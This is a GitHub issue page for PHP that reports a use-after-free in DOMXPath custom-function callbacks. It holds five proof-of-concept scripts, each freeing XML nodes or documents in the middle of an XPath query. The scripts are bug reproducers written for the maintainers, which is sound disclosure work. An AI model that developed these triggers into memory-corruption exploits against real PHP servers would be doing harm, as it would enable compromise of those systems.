Skip to content

Use-After-Free in DOMXPath custom-function path #22554

Description

@alexandre-daubois

Description

Originally reported by @waseem-cve.

The following code:

<?php
$doc = new DOMDocument; $doc->loadXML('<root/>');
$xp = new DOMXPath($doc);
$xp->registerNamespace('my','my.ns');
$xp->registerPHPFunctionNS('my.ns','include', function() {
    $d = new DOMDocument;
    $d->loadXML('<r><uaf/></r>');

    return $d->documentElement;
});

$xp->registerPHPFunctionNS('my.ns','process', function($arg) {
    return 'x';
});

$xp->query('my:process(my:include()/uaf)');
unset($xp);

Resulted in a UAF. The argument-node proxy is created against the DOMXPath's own dom_object instead of the node's document, so it holds no reference on the foreign document. When node_list is torn down at unset($xp), that document is freed while the proxy still points into it.

Similar issue: #22077

Variation 2 (by @calysteon)

<?php

$doc = new DOMDocument();
$doc->loadXML('<root><a><x>1</x></a><b><x>2</x></b><c><x>3</x></c></root>');
$root = $doc->documentElement;

$xpath = new DOMXPath($doc);
$xpath->registerNamespace('php', 'http://php.net/xpath');
$xpath->registerPHPFunctions(['trigger_uaf']);

$call_count = 0;
function trigger_uaf($nodes) {
    global $root, $call_count;
    $call_count++;

    // On the 2nd call (while XPath is still evaluating other nodes),
    // remove <a> which frees its <x> child that XPath already found
    if ($call_count == 2) {
        $a = $root->firstChild;
        if ($a && $a->nodeType === XML_ELEMENT_NODE) {
            $root->removeChild($a);
            // $a goes out of scope -> refcount drops to 0
            // -> dom_objects_free_storage -> php_libxml_node_free_resource
            // -> php_libxml_node_free_list frees <x> child (no PHP ref)
            // BUT libxml2 XPath already has <x> in its nodeTab!
        }
    }
    return "1";
}

// //x selects all <x> elements. The predicate calls trigger_uaf() for each.
// During filtering, the callback frees an <x> node -> UAF when processing results
$result = $xpath->query('//x[php:functionString("trigger_uaf", .)]');
echo "Result: " . $result->length . "\n";

Variation 3 (by @ExPatch-LLC)

<?php
$doc = new DOMDocument();
$doc->loadXML('<root><aaa>A</aaa><bbb>B</bbb><ccc>C</ccc></root>');

$xpath = new DOMXPath($doc);
$xpath->registerNamespace('php', 'http://php.net/xpath');
$xpath->registerPhpFunctions();

$call = 0;

function cb($nodes) {
    global $doc, $call;
    $call++;
    if ($call == 2) {
        // 2nd callback: context node is <aaa>.
        // <bbb>, <ccc>, text nodes have _private==NULL
        // (wrappers from previous callbacks already destroyed).
        // textContent setter frees them via dom_remove_all_children.
        $doc->documentElement->textContent = "X";
    }
    return true;
}

// XPath predicate calls cb() for each node.
// After cb() frees <bbb>, XPath engine reads freed <bbb> -> UAF.
$xpath->query('//node()[php:function("cb", .)]');

Variation 4 (by @ExPatch-LLC)

<?php
class DOMKiller {
    public $doc;
    public function __destruct() {
        if ($this->doc && $this->doc->documentElement) {
            while ($this->doc->documentElement->firstChild) {
                $this->doc->documentElement->removeChild(
                    $this->doc->documentElement->firstChild
                );
            }
        }
    }
}

$doc = new DOMDocument();
$doc->loadXML('<root><item>1</item><item>2</item><item>3</item></root>');

$killer = new DOMKiller();
$killer->doc = $doc;

$xpath = new DOMXPath($doc);
$xpath->registerNamespace("php", "http://php.net/xpath");
$xpath->registerPhpFunctions();

function gc_nuke($nodes) {
    global $killer;
    $killer = null;       // Make DOMKiller garbage
    gc_collect_cycles();  // Force GC -> __destruct -> remove all children -> free xmlNodes
    return "ok";
}

// Crashes: GC-triggered destructor frees xmlNodes while XPath is
// still iterating the nodeset to fetch callback arguments
$xpath->query('//item[php:function("gc_nuke", .)]');

Variation 5 (by @ExPatch-LLC)

$doc = new DOMDocument();
$doc->loadXML('<root><item>1</item><item>2</item><item>3</item></root>');

$xpath = new DOMXPath($doc);
$xpath->registerNamespace("php", "http://php.net/xpath");
$xpath->registerPhpFunctions();

function trigger_uaf($nodes) {
    if (is_array($nodes)) {
        foreach ($nodes as $node) {
            if ($node instanceof DOMNode && $node->parentNode) {
                $new = $node->ownerDocument->createElement("replaced");
                $node->parentNode->replaceChild($new, $node);
            }
        }
    }
    return "ok";
}

// Crashes: callback replaces nodes (freeing xmlNode) -> XPath result
// still references freed memory -> READ of freed node->type at line 351
$xpath->query('//item[php:function("trigger_uaf", .)]');

PHP Version

-

Operating System

No response

Metadata

Metadata

Assignees

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions